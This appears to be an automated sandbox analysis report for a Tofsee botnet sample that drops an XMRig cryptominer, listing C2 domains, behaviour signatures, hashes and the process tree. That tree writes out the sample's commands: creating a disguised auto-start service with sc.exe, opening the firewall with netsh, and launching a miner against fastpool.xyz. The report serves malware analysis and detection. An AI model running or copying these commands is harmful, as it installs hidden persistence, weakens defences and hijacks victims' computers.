Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/12/2022, 22:36

General

  • Target
    file.exe
  • Size 215KB
  • Sample221220-2h8atsed4v
  • SHA256 a2f9d1e93bee957121bb9838ac5dfe298fafe265f7494cb4a2f4f61b07f59288
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\abkuioix\
      2⤵
        PID:2556
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vbtingx.exe" C:\Windows\SysWOW64\abkuioix\
        2⤵
          PID:2840
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create abkuioix binPath= "C:\Windows\SysWOW64\abkuioix\vbtingx.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4908
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description abkuioix "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4784
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start abkuioix
          2⤵
          • Launches sc.exe
          PID:5060
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1632
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4656 -s 1036
          2⤵
          • Program crash
          PID:2196
      • C:\Windows\SysWOW64\abkuioix\vbtingx.exe
        C:\Windows\SysWOW64\abkuioix\vbtingx.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3964
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5008
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4160
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 528
          2⤵
          • Program crash
          PID:3044
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4656 -ip 4656
        1⤵
          PID:460
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3964 -ip 3964
          1⤵
            PID:260

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                vbtingx.exe

                • Path C:\Users\Admin\AppData\Local\Temp\vbtingx.exe
                • Size 13.0MB
                • SHA256 e4ab1f756b5f48617fce8e5ce9faf3635a4dfdde3b43f0d9a7c8ff431b1f5635
                • MD5 SHA1 SHA512 SSDEEP

                vbtingx.exe

                • Path C:\Windows\SysWOW64\abkuioix\vbtingx.exe
                • Size 13.0MB
                • SHA256 e4ab1f756b5f48617fce8e5ce9faf3635a4dfdde3b43f0d9a7c8ff431b1f5635
                • MD5 SHA1 SHA512 SSDEEP

                memory/3964-150-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/3964-148-0x000000000054D000-0x000000000055E000-memory.dmp

                memory/4160-177-0x0000000000A70000-0x0000000000B61000-memory.dmp

                memory/4160-172-0x0000000000A70000-0x0000000000B61000-memory.dmp

                memory/4656-143-0x0000000000573000-0x0000000000584000-memory.dmp

                memory/4656-144-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/4656-132-0x0000000000573000-0x0000000000584000-memory.dmp

                memory/4656-134-0x0000000000400000-0x000000000045F000-memory.dmp

                memory/4656-133-0x0000000000540000-0x0000000000553000-memory.dmp

                memory/5008-146-0x0000000000630000-0x0000000000645000-memory.dmp

                memory/5008-152-0x0000000000630000-0x0000000000645000-memory.dmp

                memory/5008-153-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/5008-156-0x0000000000C40000-0x0000000000C46000-memory.dmp

                memory/5008-159-0x00000000019C0000-0x00000000019D0000-memory.dmp

                memory/5008-162-0x00000000019D0000-0x00000000019D5000-memory.dmp

                memory/5008-165-0x0000000007200000-0x000000000760B000-memory.dmp

                memory/5008-168-0x00000000019E0000-0x00000000019E7000-memory.dmp

                memory/5008-151-0x0000000000630000-0x0000000000645000-memory.dmp